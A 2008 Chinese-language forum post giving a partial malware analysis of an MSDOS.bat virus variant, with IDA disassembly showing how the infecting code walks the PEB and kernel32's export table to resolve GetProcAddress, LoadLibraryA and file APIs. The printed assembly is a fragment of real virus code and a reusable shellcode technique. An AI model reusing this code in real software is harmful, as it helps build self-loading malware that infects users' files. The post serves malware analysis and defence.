廣告廣告
  加入我的最愛 設為首頁 風格修改
首頁 首尾
 手機版   訂閱   地圖  簡體 
您是第 2388 個閱讀者
 
發表文章 發表投票 回覆文章
  可列印版   加為IE收藏   收藏主題   上一主題 | 下一主題   
upside 手機 葫蘆墩家族
個人頭像
個人文章 個人相簿 個人日記 個人地圖
特殊貢獻獎 社區建設獎 優秀管理員勳章
頭銜:反病毒 反詐騙 反虐犬   反病毒 反詐騙 反虐犬  
版主
分享: 轉寄此文章 Facebook Plurk Twitter 複製連結到剪貼簿 轉換為繁體 轉換為簡體 載入圖片
推文 x0
[資訊教學] 感染型病毒不完全分析實例(MSDOS.bat新變種)
感染型病毒不完全分析實例(MSDOS.bat新變種)
性質:感染型病毒,MSDOS.bat變種,但是其中的病毒主體加了一個殼。
工具:IDA Pro.,OllyDbg(看雪版OllyICE),LordPE,ImportREC
分析內容:被感染文件中病毒代碼分析、病毒主體文件所加殼的脫殼過程。

一、被感染文件中病毒代碼分析
被感染文件最後的一個區段被改名爲.WYCao段,在後面加入病毒代碼內容,改入口點指向此段中。以下爲IDA中的反彙編結果,我已經盡量注釋清楚。

(1)從PEB得到kernel32.dll基址,遍曆其輸出表,得到GetProcAddress和LoadLibraryA兩個API函數的地址。

.WYCao:01010F10       mov   eax, large fs:30h ; PEB
.WYCao:01010F16       nop
.WYCao:01010F17       nop
.WYCao:01010F18       nop
.WYCao:01010F19       nop
.WYCao:01010F1A       mov   eax, [eax+0Ch] ; PEB.Ldr(PTR _PEB_LDR_DATA)
.WYCao:01010F1D       mov   esi, [eax+1Ch] ; Ldr->InInitializationOrderModuleList.Flink
.WYCao:01010F1D                   ; 一個雙向鏈表,鏈表該位置的Flink恰指向kernel32.dll的相應結構中
.WYCao:01010F20       lodsd
.WYCao:01010F21       mov   edi, [eax+8]   ; kernel32.dll的_PEB_LDR_DATA結構中的EntryInProgress,模塊基址
.WYCao:01010F24       mov   eax, [edi+IMAGE_DOS_HEADER.e_lfanew] ; PE頭偏移
.WYCao:01010F27       mov   edx, [edi+eax+IMAGE_NT_HEADERS.OptionalHeader.DataDirectory.VirtualAddress] ; 輸出表偏移
.WYCao:01010F2B       add   edx, edi
.WYCao:01010F2D       mov   ecx, [edx+_IMAGE_EXPORT_DIRECTORY.NumberOfNames] ; 以函數名調用的函數個數
.WYCao:01010F30       mov   ebx, [edx+_IMAGE_EXPORT_DIRECTORY.AddressOfNames] ; 保存所有函數名的數組偏移
.WYCao:01010F33       add   ebx, edi
.WYCao:01010F35
.WYCao:01010F35 findbegin:               ; CODE XREF: start+41 j
.WYCao:01010F35                   ; start+49 j ...
.WYCao:01010F35       dec   ecx
.WYCao:01010F36       jz   short findend
.WYCao:01010F38       mov   esi, [ebx+ecx*4]
.WYCao:01010F3B       add   esi, edi
.WYCao:01010F3D       cmp   dword ptr [esi+4], 41636F72h ; 'rocA'
.WYCao:01010F44       jnz   short findnext
.WYCao:01010F46
.WYCao:01010F46 GetAddressByNumber:         ; CODE XREF: start+52 j
.WYCao:01010F46       mov   eax, [edx+_IMAGE_EXPORT_DIRECTORY.AddressOfFunctions] ; 保存所有函數地址偏移的數組
.WYCao:01010F49       add   eax, edi
.WYCao:01010F4B       mov   eax, [eax+ecx*4] ; 從AddressOfFunctions數組中根據當前序號值,得到API函數地址偏移
.WYCao:01010F4E       add   eax, edi
.WYCao:01010F50       push   eax
.WYCao:01010F51       jmp   short findbegin
.WYCao:01010F53 ; ---------------------------------------------------------------------------
.WYCao:01010F53
.WYCao:01010F53 findnext:               ; CODE XREF: start+34 j
.WYCao:01010F53       cmp   dword ptr [esi], 64616F4Ch ; 'Load'
.WYCao:01010F59       jnz   short findbegin
.WYCao:01010F5B       cmp   dword ptr [esi+8], 41797261h ; 'aryA'
.WYCao:01010F62       jz   short GetAddressByNumber
.WYCao:01010F64       jmp   short findbegin
.WYCao:01010F66 ; ---------------------------------------------------------------------------
.WYCao:01010F66
.WYCao:01010F66 findend:               ; CODE XREF: start+26 j
.WYCao:01010F66       pop   ebx       ; 遍曆kernel32.dll輸出表結束。此次堆棧
.WYCao:01010F66                   ; [esp]==kernel32.dll!GetProcAddress
.WYCao:01010F66                   ; [esp+4]==kernel32.dll!LoadLibraryA
.WYCao:01010F66                   ;
.WYCao:01010F66                   ; 因此,pop的結果:ebx=GetProcAddress
.WYCao:01010F67       pop   edx       ; edx=LoadLibraryA
.WYCao:01010F68       sub   esp, 48h
.WYCao:01010F6B       mov   ebp, esp
.WYCao:01010F6D       mov   [ebp+4], ebx   ; GetProcAddress
.WYCao:01010F70       mov   [ebp+8], edx   ; LoadLibraryA
(2)調用LoadLibraryA和GetProcAddress函數,得到所需的API函數的地址:


.WYCao:01010F73       push   0       ; 結束符
.WYCao:01010F75       push   6C6C642Eh   ; .dll
.WYCao:01010F7A       push   32336C65h   ; 'el32'
.WYCao:01010F7F       push   6E72656Bh   ; 'kern'
.WYCao:01010F84       mov   ecx, esp
.WYCao:01010F86       push   ecx
.WYCao:01010F87       call   dword ptr [ebp+8] ; LoadLibraryA('kernel32.dll')
.WYCao:01010F8A       pop   ecx       ; 前面4個push,這裏4個pop,保持堆棧平衡
.WYCao:01010F8B       pop   ecx
.WYCao:01010F8C       pop   ecx
.WYCao:01010F8D       pop   ecx
.WYCao:01010F8E       mov   [ebp+0Ch], eax ; kernel32.dll基址(句柄)
.WYCao:01010F91       push   0
.WYCao:01010F93       push   4179726Fh   ; 'oryA'
.WYCao:01010F98       push   74636572h   ; 'rect'
.WYCao:01010F9D       push   69447377h   ; 'wsDi'
.WYCao:01010FA2       push   6F646E69h   ; 'indo'
.WYCao:01010FA7       push   57746547h   ; 'GetW'
.WYCao:01010FAC       mov   ecx, esp
.WYCao:01010FAE       push   ecx
.WYCao:01010FAF       push   dword ptr [ebp+0Ch] ; kernel32.dll基址
.WYCao:01010FB2       call   dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'GetWindowsDirectoryA')
WYCao:01010FB5       pop   ecx
.WYCao:01010FB6       pop   ecx
.WYCao:01010FB7       pop   ecx
.WYCao:01010FB8       pop   ecx
.WYCao:01010FB9       pop   ecx
.WYCao:01010FBA       pop   ecx
.WYCao:01010FBB       mov   [ebp+10h], eax ; kernel32.dll!GetWindowsDirectoryA
.WYCao:01010FBE       push   41656Ch
.WYCao:01010FC3       push   69466574h
.WYCao:01010FC8       push   61657243h
.WYCao:01010FCD       mov   ecx, esp
.WYCao:01010FCF       push   ecx
.WYCao:01010FD0       push   dword ptr [ebp+0Ch]
.WYCao:01010FD3       call   dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CreateFileA')
.WYCao:01010FD6       pop   ecx
.WYCao:01010FD7       pop   ecx
.WYCao:01010FD8       pop   ecx
.WYCao:01010FD9       mov   [ebp+14h], eax ; kernel32.dll!CreateFileA
.WYCao:01010FDC       push   656C64h
.WYCao:01010FE1       push   6E614865h
.WYCao:01010FE6       push   736F6C43h
.WYCao:01010FEB       mov   ecx, esp
.WYCao:01010FED       push   ecx
.WYCao:01010FEE       push   dword ptr [ebp+0Ch]
.WYCao:01010FF1       call   dword ptr [ebp+4] ; GetProcAddress(kernel32.dll,'CloseHandle')
.WYCao:01010FF4       pop   ecx
.WYCao:01010FF5       pop   ecx
.WYCao:01010FF6       pop   ecx
.WYCao:01010FF7       mov   [ebp+18h], eax ; kernel32.dll!CloseHandle


[ 此文章被upside在2008-09-04 02:10重新編輯 ]



爸爸 你一路好走
獻花 x0 回到頂端 [樓 主] From:臺灣和信超媒體寬帶網 | Posted:2008-09-04 02:02 |

首頁  發表文章 發表投票 回覆文章
Powered by PHPWind v1.3.6
Copyright © 2003-04 PHPWind
Processed in 0.070593 second(s),query:15 Gzip disabled
本站由 瀛睿律師事務所 擔任常年法律顧問 | 免責聲明 | 本網站已依台灣網站內容分級規定處理 | 連絡我們 | 訪客留言